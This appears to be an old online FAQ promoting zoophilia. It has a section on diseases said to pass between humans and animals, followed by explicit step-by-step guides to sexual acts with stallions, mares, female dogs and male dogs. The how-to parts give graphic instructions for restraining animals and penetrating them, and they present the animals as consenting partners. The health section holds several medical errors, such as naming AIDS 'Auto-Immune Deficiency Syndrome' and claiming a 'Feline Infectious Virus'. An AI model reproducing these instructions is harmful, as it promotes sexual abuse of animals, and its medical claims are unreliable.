10 - Where can I find "How To" information
|
||
============================================================================
|
||
We finally have a 'how to' section of the FAQ! Okay, it's mostly my
|
||
fault for just not editing the stuff I've had wasting away on my hard
|
||
drive for the last couple of weeks but, contrary to popular belief, my
|
||
entire life does -not- revolve around this place :> Anyhow, for how to
|
||
info, refer to 'How to; Equines.' 'How to; Canines' will be a regular
|
||
part of this FAQ by the first of next month. If you would like to
|
||
contribute your own knowledge about the critter of your affections,
|
||
please write me to express your interest!
|
||
|
||
|
||
============================================================================
|
||
PART 2: Zoophilia and your Health
|
||
============================================================================
|
||
=============================<A - INTRODUCTION>==============================
|
||
|
||
Herpes, gonorrhea, genital warts, and syphiliis, four of the most common
|
||
sexually transmitted diseases in the world, are all diseases which are
|
||
limited to contraction and transmission by humans. However, it has been
|
||
theorized that if a man with a venereal disease were to have sex with an
|
||
animal, without the use of a condom, and then another man were to have sex
|
||
with that same animal immediately or soon after, that if semen or blood
|
||
from the first man were absorbed into the blood stream of the second man,
|
||
he may contract a venereal disease.
|
||
|
||
===================<B - CONTAGIOUS ANIMAL HEALTH DISEASES>===================
|
||
|
||
1 - Auto-Immune Deficiency Syndrome, (AIDS)
|
||
- ---------------------------------------
|
||
|
||
Presently, it is not known for sure if Auto-Immune Deficiency Syndrome can
|
||
be passed between a human and a non-human animal through sexual
|
||
intercourse. According to the American Veterinary Medical Association,
|
||
Feline Infectious Virus, the alleged pre-cursor to Feline AIDS and
|
||
equivalent to Human Infectious Virus, (HIV), is not transmittable between
|
||
felines and non-feline animals.
|
||
|
||
2 - Lyme Disease
|
||
- ------------
|
||
[ This section written by MegaDog (megadog@dogstar.win-uk.net) ]
|
||
|
||
Lyme is a disease of humans, dogs, cows, cats, horses, deer and goats,
|
||
caused by a Spirochete bacterium, Borrelia bergdorferi. It was first
|
||
recognised in the mid-1970's and has been recorded in the USA, Europe,
|
||
Central/South America, Japan, the CIS [ex-USSR] and Africa.
|
||
|
||
Normally, the disease is spread by bites from ticks [Deer tick, Black-legged
|
||
tick and Lone-star tick], though fleas have also been implicated, as have
|
||
Dog-ticks.
|
||
|
||
Hunters who handle or come into contact with the blood or hides of infected
|
||
deer can become infected; the Borrelia spirochete has been identified in
|
||
semen and urine of animals, and there are indications that it may also be
|
||
present in saliva. Infection of the fetus via the placenta has been recorded
|
||
in both humans and animals.
|
||
|
||
**Sexual transmission of the disease between humans, or between humans
|
||
**and animals, has not *as yet* been conclusively proved, or disproved!
|
||
|
||
However Borrelia is a Spirochete bacterium, as is Treponema pallidum, the
|
||
causative organism of syphilis.
|
||
|
||
**You are left to draw your own conclusions as to the *possibility* that
|
||
**Lyme may be transmitted sexually.
|
||
|
||
Symptoms: Humans
|
||
~~~~~~~~~~~~~~~~
|
||
These vary. In the case of infection by tick bites, around half the cases
|
||
show a rash [called erythema migrans] at the point of bite; this can be
|
||
confused with other allergies, rashes, chemical or biological burns etc,
|
||
or may go unnoticed if it is on one of the less visible parts of the body.
|
||
When the infection is contracted in other ways, the characteristic
|
||
bite-site signs may be absent.
|
||
|
||
Other symptoms resemble flu, and may include:- headache, sore throat, fever,
|
||
muscle ache or tenderness, tiredness, insomnia and joint soreness.
|
||
Left untreated, these symptoms generally disappear; chronic Borrelosis may
|
||
take months or years to develop, and may result in meningitis, muscle pain,
|
||
arthritis, numbness, tingling and burning sensations in the limbs,
|
||
testicular discomfort, facial paralysis [Bell's Palsy], fatigue, lassitude
|
||
and depression. The heart, eye, reproductive, respiratory system and
|
||
gastrointestinal tract may become involved. In this form, the disease may
|
||
persist for many years, with periods of remission.
|
||
|
||
Symptoms: Animals
|
||
~~~~~~~~~~~~~~~~~
|
||
The rash is rarely seen, being concealed by fur. Symptoms include fever,
|
||
arthritis, lameness, soreness, listlessness, loss of appetite [with
|
||
consequent weight loss and loss of condition], and swollen joints. The
|
||
involvement of major organs or systems is the same as for humans. The
|
||
disease may impair reproduction, resulting in sterility, abortion or
|
||
stillbirth. In some cases the pain experienced may result in irritability
|
||
or behavioural changes, such as a reduction in tractability of horses.
|
||
Again, as for humans, the symptoms may be persistent, or show periods of
|
||
remission of varying lengths.
|
||
|
||
Diagnosis
|
||
~~~~~~~~~
|
||
The diagnosis of Lyme borrelosis is problematic; as of July 1994, there is
|
||
no definitively accurate test for the disease; Repeated tests of blood
|
||
from the same individual may show alternating positive and negative Lyme
|
||
status. Diagnosis is largely based on the clinical symptoms, the patient's
|
||
history, and by eliminating other possible causes of the symptoms.
|
||
|
||
Treatment
|
||
~~~~~~~~~
|
||
Antibiotics such as amoxycillin generally provide successful treatment in
|
||
humans; success depends on how soon after infection the treatment begins.
|
||
Once the later stages of the disease are seen, persistent repeated courses
|
||
of medication may be necessary, with no guarantee of success; once treatment
|
||
is apparently complete, relapses may occur.
|
||
|
||
**CONSULT YOUR PHYSICIAN/VETERINARIAN FOR ADVICE IF YOU SUSPECT YOU OR YOUR
|
||
**ANIMALS MAY HAVE CONTRACTED LYME. DO NOT ATTEMPT SELF-MEDICATION!
|
||
|
||
At present, there have been no reports of the evolution of antibiotic-
|
||
resistant strains of Lyme.
|
||
|
||
Risk Reduction
|
||
~~~~~~~~~~~~~~
|
||
Try to avoid yourself, or your animals, getting bitten by ticks. If you have
|
||
visited areas where ticks are present, you should check yourself and your
|
||
animals. This may take some time, but the longer an infected tick remains
|
||
attached, the greater the chance of Lyme infection being passed.
|
||
|
||
Check daily for ticks; favorite sites are round the eyes and ears, between
|
||
the toes, on the back of the neck, and in the groin/armpit regions. Ticks
|
||
may wander around the body for some time [hours, days] before settling on
|
||
a bite site, they may also remain hidden on clothing, in animal bedding etc.
|
||
|
||
If you find ticks, the best way to remove them is using a pair of tick
|
||
forceps; these can be bought for a few $ at most pet/animal stores, and are
|
||
designed to pull the whole tick out, including the mouthparts. Trying to
|
||
pull a tick out using your fingers is *not* recommended; you will squeeze
|
||
the body of the tick, which can inject infected blood from the tick back
|
||
into the bloodstream. Other ways of removing ticks, involving alcohol,
|
||
cigarettes, salt water etc. are not recommended.
|
||
|
||
Record the location of bite sites, and examine them periodically for some
|
||
days, in order to spot any signs of the characteristic Lyme-disease rash.
|
||
|
||
Keep the ticks for identification. If Lyme symptoms develop, it may be
|
||
necessary to identify the species of tick involved. Either place them in a
|
||
small container with some alcohol, or trap them between two layers of
|
||
clear adhesive tape.
|
||
|
||
Understand, and be able to recognise, the symptoms of first-stage infection
|
||
both in humans and animals.
|
||
|
||
If your animals show symptoms, as well as consulting a veterinarian, you
|
||
should consult a physician. The reverse also applies; if you show symptoms,
|
||
inform your vet and get your animals checked.
|
||
|
||
Avoid, as far as possible, contact with or exchange of body fluids [urine,
|
||
blood, semen, saliva] between animals or humans that are, or may be,
|
||
infected. This is particularly important if you have any cuts, grazes or
|
||
other injuries to parts of your body that may come into contact with the
|
||
other person/animal's body fluids.
|
||
|
||
Adopt "safer sex" practises; Remember there may also be invisible internal
|
||
damage to mucous membranes of the mouth, anus, vagina or penis/urethra,
|
||
all of which can provide possible paths for infection by a wide range of
|
||
sexually transmissible diseases.
|
||
|
||
More Information
|
||
~~~~~~~~~~~~~~~~
|
||
If you have access to an Internet 'Gopher' you can access further
|
||
information by searching on 'lyme', 'borrelosis' or 'borrelia'.
|
||
|
||
Additional information can be obtained from state health departments,
|
||
veterinarians, physicians, or the Lyme Disease Foundation, Inc. [P.O. Box
|
||
462, Tolland, Connecticut 06084].
|
||
|
||
There is also an electronic mail digest called 'The LymeNet Newsletter',
|
||
where current research is discussed. To receive this automatically, you
|
||
should send e-mail as follows:-
|
||
|
||
To: listserv@lehigh.edu
|
||
Subject: (leave this blank......)
|
||
|
||
The first [and only] line of your e-mail should contain the text:-
|
||
|
||
subscribe lymenet-l <your full name>
|
||
|
||
{Do not send a signature file on your message; the listserver may barf!}
|
||
|
||
Summary
|
||
~~~~~~~
|
||
There is little if any authoritative information on whether
|
||
Lyme can be transmitted by sex. Conflicting opinions abound, definitive
|
||
answers are few! Understand the nature of the disease, and the
|
||
possibilities for transmission, then make an informed decision for
|
||
yourself, and take risk-reducing steps where you think necessary.
|
||
|
||
3 - Toxoplasma
|
||
- ----------
|
||
[ This section compiled by Equuinox, (equuinox@worf.netins.net) ]
|
||
|
||
From _Foundations of Parasitology_ (Schmidt/Roberts 1989)
|
||
|
||
Toxoplasma is an intracellular parasite of many kinds of tissues, including
|
||
muscle and intestinal epithelium...Oocysts appear in the cats feces from 3
|
||
to 5 days after infection by cysts. The most common symptoms of acute
|
||
toxoplasmosis is painful, swollen lymph glands in the cervical,
|
||
supraclavicular, and inguinal regions. This symptom may be associated with
|
||
fever, headache, muscle pain, anemia, and sometimes lung complications.
|
||
This syndrome can be mistaken easily for the flu. Acute infection can,
|
||
although rarely does, cause death...In the immunocompetent person T. gondii
|
||
ordinarily is kept at bay by cell-mediated immunity...Presently T. gondii
|
||
is a serious opportunistic infection in AIDS.
|
||
|
||
The most tragic form of this disease is congenital toxoplasmosis. If a
|
||
mother contracts acute toxoplasmosis at the time of her child's conception
|
||
or during pregnancy, the organisms will often infect her developing fetus.
|
||
Fortunately, most neonatal infections are asymptomatic, but a significant
|
||
number cause death or disability to newborns...The transmission rate to the
|
||
fetus from a maternal infection is about 45%. Of those infected, about 60%
|
||
will be subclinical, 9% may die, and 30% may suffer severe damage such as
|
||
hydrocephalus, intracerebral calcification, retinochoroiditis, and mental
|
||
retardation.
|
||
|
||
Feral and domestic cats will continue to be a source of infections in
|
||
humans...Any cat, no matter how well fed and protected, may be passing
|
||
oocysts of Toxoplasma, although for only a few days after infection. The
|
||
possibilities are particularly alarming if someone in the house becomes
|
||
pregnant. Certainly, a woman who knows she is pregnant should never empty
|
||
the litterbox or clean up after the cat's occasional indiscretion. Also,
|
||
because children's sandboxes become a haven for neighborhood cats, they
|
||
should have tightly-fitting covers. This will also protect children from
|
||
larva migrans from hookworm and ascaridoid juveniles...Pyrimethamine and
|
||
sulfonamides given together are widely used drugs against Toxoplasma.
|
||
|
||
4 - Urinary Tract Infections, (UTIs)
|
||
--------------------------------
|
||
Urinary Tract Infections are caused by gram negative bacteria which may be
|
||
found in the vagina of female animals. GN Bacteria are known to cause
|
||
yeast infections, metritis, and pyometria in female animals and can lead to
|
||
cystitis, urethritis, or pyelonephritis in human males. Symptoms of a UTI
|
||
include frequent urination, pain when urinating, and blood and/or pus in
|
||
ones' urine. UTIs may be contracted when having sex with a female animal
|
||
in or out of season though they are more likely to cause a UTI when in
|
||
season because of the hospitability of the female reproductive system to
|
||
bacteria during this time. UTIs are easily cured with antibiotics.
|
||
|
||
5 - Canine Brucellosis
|
||
- ------------------
|
||
Canine Brucellosis, caused by the bacteria brucella canis, can be trans-
|
||
mitted to male humans by female carriers during sex. Female canines with
|
||
CB show a loss of vigor, enlargement of the lymph nodes and, occasionally,
|
||
the spleen. Commonly, CB will only cause a human male to experience
|
||
fever symptoms though one case has been documented where CB has caused
|
||
sterility. Signs of severe infection in human males may include a UTI,
|
||
scrotal dermatitis, or diminution of the testicles; testicular atrophy.
|
||
Those showing severe symptoms should consult a physician immediately.
|
||
|
||
6 - Parasites
|
||
- ---------
|
||
Parasites such as tapeworms, hookworms, ringworms, and coccidia may be
|
||
contracted through sexual contact with an animal. The most common way of
|
||
contracting parasites from an animal is from oral/anal and genital/anal
|
||
contact. Animals with parasites may suffer from nausea, listlessness,
|
||
and increased appetite or thirst. A simple test of the animals' stool
|
||
done at your local veterinarians will show whether or not the animal has
|
||
worms. Treatment for both humans and animals is often simple and only
|
||
involves the taking of medication.
|
||
|
||
============================================================================
|
||
PART 3: How-To (Equines)
|
||
============================================================================
|
||
[ This section written by Equuinox (equuinox@worf.netins.net) ]
|
||
|
||
================<A - HOW TO HAVE MORE FUN WITH YOUR STALLION>================
|
||
|
||
So-o-o-o, maybe you've thought about trying to make it with a
|
||
stallion...after all, they sure look like a good time. Here's a few tips
|
||
on how to make the experience more rewarding for both of you.
|
||
|
||
1) Find a stallion: preferably somewhere where no one will hear him
|
||
grunting and snorting, and come to investigate...Older stallions are
|
||
better; they are more sensible, and less likely to spaz out and hurt
|
||
someone. Don't even bother with the ones who are half-crazy already, they
|
||
only get worse when stimulated.
|
||
|
||
2) The Approach: Quietly walk up to about 10' from him and stop. Let him
|
||
come to you to investigate. Move very slowly, so as not to startle him,
|
||
and let him sniff you over...gently pet his neck and withers and murmer
|
||
encouraging words -win his trust-. At this point it is helpful to smell
|
||
like a mare in heat...it does wonders for their libido.
|
||
|
||
3) Smell like an estrus mare: Find a mare in heat, usually 5-6 days out
|
||
of every 21 (i know it aint that easy). Approach as in 2) above...pet her
|
||
flanks and work your way slowly back to rub her tush, and base of her
|
||
tail. Watch her ears...if she resents this contact she will flatten them
|
||
back, and swish her tail...further pursuit could lead to being kicked. If
|
||
the mare does not seem to object, GENTLY dip a finger into her vulva,
|
||
getting her natural aroma on your hands...some mares will not cooperate
|
||
and move away from the contact... remember, that is their choice. If the
|
||
mare tolerates your advances, continue to massage her privates...if she
|
||
really responds well (by raising her tail and squatting), you can
|
||
try...oh, yeah...that's for my followup article soon to come "How to have
|
||
more fun with your mare"
|
||
|
||
4) Restraint: yes, it's a good idea. Some studs get overly excited and
|
||
react by kicking, biting and/or trying to mount you, all of which are no
|
||
fun unless yer into S and M too...(although a quick nip on the rump can be
|
||
fun). Take a halter and lead rope and tie him to a stout object using a
|
||
slipknot...you do know how to tie a slipknot, don't you? If not, see yer
|
||
local cub scouts for lessons. The reason for the slipknot is to be able
|
||
to release him instantly if there's a problem.
|
||
|
||
5) The Rub: Let the stallion smell the nice, fresh mare odor on your
|
||
hands- he should respond with snorts, whinneys and (hopefully) an
|
||
erection. Starting with his neck, pet him gently, massaging his withers
|
||
and slowly working your way back to his belly and privates. Some studs
|
||
will get kinda twitchy at this point, swish their tails and kick- stay
|
||
close to his body, and away from his rear to be safe...avoid being mashed
|
||
into the stall walls by his body. If he starts to act up quit
|
||
immediately, calm him down, and start again from the beginning of this
|
||
step.
|
||
|
||
6) Clean and Jerk: Unless the horse is seeing active service his penis is
|
||
probably covered with a layer of smegma, dead skin flakes, etc...it
|
||
doesn't taste great, nor is terribly useful for lubricating purposes.
|
||
Wash him up with clean water or -gently- rub the accumulations from his
|
||
shaft. Apply lube.. K-Y works well. I've found its best to rub the shaft
|
||
till he's fully-erect, then transfer your attention to the head of the
|
||
penis. Maintaing a steady pressure on the sensitive glans penis, let him
|
||
do the thrusting...they usually won't come unless they can thrust-meet his
|
||
strokes with your own movements. Use your own shameless imagination from
|
||
this point...again being careful of kicks, love-bites, etc.
|
||
|
||
========================<B - HELPFUL TIPS; STALLIONS>========================
|
||
|
||
1) Wear steel-toed boots to protect your toes from being stomped on.
|
||
|
||
2) Most Stallions quickly learn to enjoy this stuff, and will come to bug you
|
||
for more in the future. If they resent this type of contact, don't try to
|
||
force it or you risk getting creamed...I've seen 'em kick a stall door
|
||
clean off its hinges
|
||
|
||
3) A little lube is helpful...i usually carry a 3:2 mix of KY and water in a
|
||
contact lens cleaner bottle... a little more discreet than big tubes of
|
||
KY.
|
||
|
||
4) DO NOT get under him or stick yer face down there unless you absolutely
|
||
know and trust him...some stallions will try to lie down on top of you
|
||
(squii-i-ish!), or kick suddenly and cost you a lot of expensive dental
|
||
work.
|
||
|
||
5) Wear a safety helmet- I know it sounds weird, but their hooves are like
|
||
rocks and can easily crush your skull. A broken head can ruin a
|
||
friendship, so its a good idea to wear a helmet (of course, if you get
|
||
caught playing with him you'd look REALLY SILLY wearing a helmet but
|
||
"better safe than dead" Ialways say).
|
||
|
||
6) Did he come? Well, when a staliion comes, the tip of his penis (the
|
||
glans) swells up (flares) into a mushroom shape the size of your fist or
|
||
bigger... he'll thrust a couple more times then ejaculate 3-4 ounces of
|
||
semen with enough force to shoot 5 feet. His semen is whitish and runny
|
||
like eggwhite... do not confuse with pre-ejaculate, which is watery and
|
||
clear....he will drip copious amounts of this before he comes.
|
||
|
||
NOTE: Those of you into anal/vaginal sex...do NOT attempt to put his penis
|
||
into you unless you can already accomodate something the size of a human
|
||
arm and fist...you risk rupture, and peritonitis if he's too big (plus it'd
|
||
be real hard to explain what happened to the emergency room staff :>)
|
||
|
||
ALWAYS REMEMBER: A stallion is an unpredictable animal...he may be fine one
|
||
minute, then explode into 1200 pounds of biting, kicking horseflesh. He may
|
||
be enjoying himself but he doesn't know his own strength and can disable or
|
||
kill you without meaning to. If you aren't familiar with the proper
|
||
handling of equines I strongly urge you to find someone who does to help
|
||
you the first time (I know that's tough to do, but its for both of your
|
||
safeties).
|
||
|
||
DISCLAIMER: I've been having fun with equines for 14 years, and I've never
|
||
been hurt badly...just bruises, ya gotta play by their rules...This Guide
|
||
is not meant to be all-encompassing. The author of this article DOES NOT
|
||
encourage you the reader to to perform illegal activities (including
|
||
trespassing) in the pursuit of your pleasure.
|
||
|
||
This article may be freely reproduced as long as I get credit for it.
|
||
|
||
==================<B - HOW TO HAVE MORE FUN WITH YOUR MARE>==================
|
||
|
||
Well, maybe you tried the stallion, and mebbe you haven't. This article
|
||
is for those of you who might be interested in mares, but haven't had the
|
||
opportunity to make the most out of the situation...
|
||
|
||
1) Find a Mare: Easier said than done, sometimes! Locate a likely
|
||
recipient to your advances and get to know her...spend lots of time
|
||
scratching her withers and tickling her, share breath and build her trust
|
||
with you-even the most receptive mares won't have anything to do with
|
||
someone they don't feel at ease with. Get to know her on a more personal
|
||
level.
|
||
|
||
2) Determine if she's in heat: Most (not all, but most) mares are totally
|
||
unreceptive to sexual advances when they are not in estrus. In mares the
|
||
cycle is 21 days on average...16 out, then 5-6 days in, with the mare
|
||
getting progressively more "hot" till she ovulates and goes out of heat
|
||
about 12 hours later. Most mares will not go out of their way to show
|
||
estrus signs to humans unless already accustomed to sexing with them. The
|
||
best way to get her to show signs is by exposing her to a stallion or
|
||
particularly randy gelding. This is caused "teasing" the mare in the
|
||
breeding business, and is when the stallion does his screaming, snorting,
|
||
prancing thing to show off...just like many college freshmen. The estrus
|
||
mare should respond by raising her tail, squatting and emitting a stream
|
||
of urine. She will also "wink" at you...by contracting her vaginal
|
||
muscles and exposing her clitoris. Wink...wink...wink. ..you get the
|
||
idea. The clitoris in the mare looks like a half-dollar-size replica of
|
||
the stallions glans penis...it is located at the bottom of the vaginal
|
||
opening. The mare will usually stand quietly in the squatting position
|
||
until bred.
|
||
|
||
If the mare responds to the stud by laying her ears back, biting, kicking,
|
||
etc. ..it's a pretty safe bet to say she's not in heat and you should try
|
||
again later. Since some folks don't have access to stallions, there are
|
||
some other signs of estrus including:
|
||
|
||
A) Their labia tend to get fuller and looser...if you pull them
|
||
apart (carefully, don't get kicked!) you will see that the vaginal
|
||
lining is cherry-red, in contrast to its normal ruddy pink color.
|
||
There will also be greater-than-usual amounts of lubrication
|
||
present.
|
||
|
||
B) The cervix is loose and drapes down in folds when in
|
||
estrus...when not, it's tight and budlike in appearance...
|
||
(this one's no good unless you have access to and know how to use
|
||
a vaginal speculum...ask yer vet to show you a cervix sometime...
|
||
it looks like a little pink flower).
|
||
|
||
C) Some inexperienced mares will even respond to a human's
|
||
advences if you can role-play well...sniff at her rump, snort,
|
||
"bite" her flanks by pinching gently (or just go on ahead an' bite
|
||
her!), tickle her and massage her external genitalia...mebbe
|
||
gently insert a finger or three...if she responds, then she's
|
||
ready -if she puts up a fuss or tries to walk away then leave her
|
||
be. She's obviously not interested, and further attention of that
|
||
nature will probably just piss her off and make her resent future
|
||
advances. However, if she seems to like what's going on you may
|
||
then...
|
||
|
||
3) Proceed with Caution: Lube up and. using your fingers, tongue or any
|
||
other portion of your anatomy that feels good to you both, proceed to
|
||
pleasure her... move in and out of her with deep, slow strokes. I have
|
||
noticed that the "hot spot" in mares is not the clitoris, but about 2-3
|
||
inches in on the bottom wall of the vagina just anterior (towards her
|
||
head) to the urethral opening- they respond very favorably to massage
|
||
there. It is possible to (gently!) insert your arm into her and slowly
|
||
fist her, feeling how beautifully warm, soft and slippery her pussy is (my
|
||
mare LOVES this). When they are ready to be bred they will usually be
|
||
quite loose inside, and it's possible to reach all the way to the back
|
||
wall of the vagina and her cervix. As you stimulate her she will then
|
||
begin to slowly clamp down on your arm with her vagina. Move with the
|
||
contractions and you will find her squeezing harder and harder as she
|
||
approaches orgasm (yes, contrary to some studies I've read, mares DO
|
||
experience orgasm, and how!). She will often squeeze with enough force to
|
||
push your arm right back out...don't try to jam it back in or you could
|
||
injure her...just continue to use your hand to massage the vestibule of
|
||
the vagina as she contracts harder and harder. At this point my mare will
|
||
usually begin to grunt in time to the contractions (sounds like OOOF!)
|
||
until her climax is over, then she will pull away. Maregasm is usually
|
||
accompanied by a stream of urine and natural lubricants, so be careful not
|
||
to get soaked unless you're also into water sports. *Personal note for the
|
||
morbidly curious* I usually work my mare with my hand to the point where
|
||
she starts to contract, then climb on up and use my penis to finish the
|
||
job...it feels great when they clamp down...they have amazing muscle
|
||
control.
|
||
|
||
When they are done coming they will usually pick themselves up and move
|
||
away for a bit, then be ready to go again in five minutes or so. I have
|
||
whiled away many a happy hour bringing my mare to orgasm over and
|
||
over...they have incredible stamina and it's fun for both of us. When
|
||
you're both done, give her a pat on the neck, thank her and talk nice to
|
||
her- don't just take what you want and leave...cuz if yer nice she'll
|
||
remember you and be even more receptive next time.
|
||
|
||
==========================<C - HELPFUL TIPS; MARES>==========================
|
||
|
||
1) Wear heavy boots to protect your toes.
|
||
|
||
2) Keep in close to her body...if she decides to kick you'll be harder to
|
||
hit, and you can feel her tense-up before she decides to let ya have it.
|
||
|
||
3) It's a _real_ good idea to wash your hands and the mare's pubes before
|
||
you go putting things into her...dirt/feces can carry bacteria that can
|
||
cause her some real problems...use a mild soap like Ivory(tm) Liquid, and
|
||
plenty of clean water to rinse...most mare's natural defenses can take
|
||
care of the problem on their own, but there's no sense taking risks with
|
||
her health if they can be avoided.
|
||
|
||
4) File your fingernails short n' smooth...a mare's vagina is very
|
||
delicate, and it's easy to injure her if you're not careful. Don't put
|
||
any foreign objects in her, either...no carrots or anything like that!
|
||
|
||
5) NEVER, EVER stick anything into/through her cervix- you can give her
|
||
a nasty uterine infection, and if she=D5s pregnant breaking the cervical
|
||
plug means a high probability of aborting the foal, as well as
|
||
complications for the mare.
|
||
|
||
6) In the Northern Hemisphere about 90% of mares will go completely out of
|
||
heat between the months of Nov-Mar. This is called seasonal anestrus, and
|
||
is a natural response to a decreased photoperiod. Putting them under
|
||
artificial lighting can help hasten return to normal estrus cycles...there
|
||
are a number of good texts on the subject.
|
||
|
||
7) Oh, yeah...If she's a big mare, you will need a bucket or stool to
|
||
stand on. ..of course, you knew that :>) *dodges thrown tomatoes*
|
||
|
||
8) Be careful not to get hurt...horses can be unpredictable.
|
||
|
||
DISCLAIMER: This Guide is not meant to be all-encompassing...Mail me if
|
||
you have questions. ..The author of this article DOES NOT encourage you,
|
||
the reader to perform illegal activities (including trespassing) in the
|
||
pursuit of your pleasure.
|
||
|
||
BE SAFE--BE CONSIDERATE--HAVE FUN
|
||
|
||
============================================================================
|
||
PART 4: HOW-TO CANINE
|
||
============================================================================
|
||
|
||
----------------------<A. GUIDE TO SEX WITH BITCHES>-------------------------
|
||
1 - Getting Started
|
||
- ---------------
|
||
The female dog normally comes on her first heat between the ages of nine and
|
||
fifteen months. Attempting intercourse with her at this time is not
|
||
recommended since these changes in her biochemistry are confusing enough
|
||
without having you trying to do wierd things to her. I would strongly
|
||
suggest waiting until her second heat if all appears normal.
|
||
|
||
2 - The right bitch for you
|
||
- -----------------------
|
||
As a rule of thumb, a dog the size of your average German Shepherd Dog is
|
||
large enough to comfortably accomodate your average sized human male.
|
||
However, this is not always true. I will go into further detail about signs
|
||
of discomfort and warning signs later. Saint Bernards, Great Danes,
|
||
Newfoundlands and other huge breeds should have no problems accomodating
|
||
a human male.
|
||
|
||
3 - Prepararation is the key!
|
||
- -------------------------
|
||
In preparing to have sex with your dog, you'll need to run down to the local
|
||
drug store and pick up a few things. Namely; KY Jelly, (do NOT use a petro-
|
||
leum or oil based lubricant.). Wet and Astro Glide, both of which can be
|
||
found at your local adult shop, work as well. Also, if you're near a
|
||
medical or veterinary supply, surgical lubricants are good too; latex gloves.
|
||
If you're going to be messing around with a stray dog or a dog you do not
|
||
own it doesn't hurt to rubber up! You can get infections or a fever from
|
||
bitches with vaginal infections or brucellosis, (see the Health section of
|
||
the F.A.Q. for more information on this topic); condoms. If sharing a dog
|
||
or picking up a stray, protect yourself. Although dogs do not carry AIDS,
|
||
it has been theorized that the virus could survive long enough inside a
|
||
bitches' vagina long enough for you to contract it, or anything else, if
|
||
you have sex with her immediately after an infected person. Remember also
|
||
that if she has a yeast or bacterial infection, you could get it too;
|
||
surgical soap. If you know the bitch is in good health and you'd like to
|
||
insert whatever strikes your fancy into her, I recommend you clean it
|
||
thoroughly. A bitches' vagina is a very vascular area and, especially when
|
||
in heat, is quite susceptable to infection; nail clippers. Nails could
|
||
carry dirt on them or scratch the delicate inner lining of a bitches'
|
||
vagina. Cut them nails down and file them. You'll also look stunning with
|
||
your new manicure :); and lastly, MilkBones! Buy these with everything
|
||
else if you really want to squick the counter people :)
|
||
|
||
4 - In the trenches
|
||
- ---------------
|
||
Once you've got your bitch and your supplies, it's time to get to work. I
|
||
do not suggest attempting sex with a bitch out of season, especially if she
|
||
is not your dog. You may wind up getting bit, which may mean changing your
|
||
name to John Wayne Bobbitt. A bitch in heat is your best bet, but just
|
||
because she's wet and smells nice doesn't mean she's 'in the mood.' How
|
||
can you tell if she's in the mood? Check the discharge. The discharge of
|
||
a bitch in 'Standing Heat' should be pinkish / creamy white. This cycle
|
||
lasts for between seven and nine days and is in the middle of the complete
|
||
heat cycle.
|
||
|
||
If the discharge is a dark, blood red, she's just coming into or going out
|
||
of heat. It never hurts to try but DO NOT force her. She may say no the
|
||
first time. Bitches are known to tease and may jump forward or fall over
|
||
in front of you. However, if she reacts hostily to you, STOP IMMEDIATELY.
|
||
|
||
Definate signs that a bitch is receptive are; Flagging--raising of the tail
|
||
over the back exposing the genitals, Soliciting--rubbing her butt in your
|
||
crotch, sitting on your face, etcetera, and Play Posing--being excessively
|
||
playful, jubilant, etcetera.
|
||
|
||
Once you're both consenting, you may consider some foreplay. Fingering her
|
||
will bring you both hours of joy and amusement :) The bitches' "clitoris"
|
||
is located about 3/4-1" (in large breeds) into the vagina. The clitoral
|
||
ridge is fairly prominant so easy to find. Rubbing this will cause her to
|
||
start thrusting and she'll love you for every moment of it. If she's your
|
||
dog or if you're certain she's healthy, you may want to engage in some
|
||
'puppylingus.' Most bitches have a bitter-sweet taste when in standing
|
||
heat and I definately recommend the aroma.
|
||
|
||
With all teasing done, it's time to start your engines! The vagina of a
|
||
female dog takes a sharp turn upward so you will have to enter from a
|
||
seventy-five to eighty degree angle. The average body temperature of a
|
||
dog is 101-102 degrees Fahrenheit so expect her to very hot and moist.
|
||
I don't believe I need to tell you what to do from here on in <grin>.
|
||
Enjoy!
|
||
|
||
5 - Out of heat and spayed bitches
|
||
- ------------------------------
|
||
If the bitch is your own you may want to try her out of heat. The same
|
||
rules apply except be sure and use an excessive amount of lube and be very
|
||
careful. You can do a lot of damage if you try and force her and that'll
|
||
be a difficult one to explain to the vet.
|
||
|
||
Most spayed bitches cannot have intercourse because of the removal of their
|
||
reproductive organs. They do not come into heat and very few show interest
|
||
in sex. You can try 'fingering' a spayed bitch of 'puppylingating' her but
|
||
intercourse is strongly advised against unless you have extensive experience.
|
||
|
||
6 - Anal Sex
|
||
- --------
|
||
The same rule of thumb for size applies to anal sex as well. There are
|
||
some dogs that like anal sex, others that tolerate it, and those that can't
|
||
stand it. Most dogs will not be immediately comfortable with anal sex but
|
||
if you choose to continue, instructions on how to do so follow. If your
|
||
dog reacts with an expression of pain or anger, STOP IMMEDIATELY. Your
|
||
dog is not suited for anal intercourse.
|
||
|
||
Start by touching the anal area of your dog and let them get comfortable
|
||
with it. Do not dive right in and insert anything. Wait until they
|
||
freely alow you to touch under their tail. Be patient. While touching
|
||
around their tail, wear gloves. Numerous worms and bacteria which can
|
||
cause a variety of illnesses can be found in dog feces. NEVER MAKE ORAL
|
||
CONTACT WITH A DOG'S ANUS. The result could be a nasty infection or a
|
||
case of tape, ring, or hookworms, among others. Once your dog is
|
||
comfortable with you feeling around their anus, try inserting a VERY well
|
||
lubricated, gloved finger. Do this over and over again until your dog
|
||
seems comfortable with it. Once again, if your dog seems to be in pain
|
||
or react violently, STOP and DON'T try again. Gradually increase the
|
||
number of gloved, well lubricated fingers you use until the number of
|
||
fingers inserted comfortably represents the width of your penis. You
|
||
may then attempt anal intercourse with your dog.
|
||
|
||
Remember; 1.) Not every dog enjoys anal sex. The majority do not,
|
||
2.) Always rubber up and never have oral contact with the anus and
|
||
3.) STOP IMMEDIATELY if your dog shows signs of pain or discomfort.
|
||
If you notice worms in your dog's stool, bring your dog to the vet with
|
||
a stool sample.
|
||
|
||
Merry Matings!
|
||
|
||
-----------------------<B. GUIDE TO SEX WITH DOGS>---------------------------
|
||
There are three types of sex possible with male dogs to be covered in this
|
||
FAQ; anal, oral and docking.
|
||
|
||
1 - Anal sex with dogs; On the receiving end
|
||
- ----------------------------------------
|
||
Most male dogs are more than happy to mount you and "fuck you silly." Some
|
||
are less enthusiastic than others. There are dangers to being mounted by a
|
||
male dog though.
|
||
|
||
First, one must understand the anatomy of the male canine reproductive
|
||
system. A dog's penis is unlike that of a human's. The appearance,
|
||
texture and sensitivity are much different. Working from the tip back,
|
||
the end of a dog's penis is somewhat blunt with a slight angle. It
|
||
typically swells to it's greatest shaft width along the first 2/5 then
|
||
gradually tapers until you reach the bulb at the base of the exposed,
|
||
unsheathed penis. The bulb, (bulbous glandis) is a large swelling at
|
||
the base of the penis which consumates the tie between a bitch and a dog
|
||
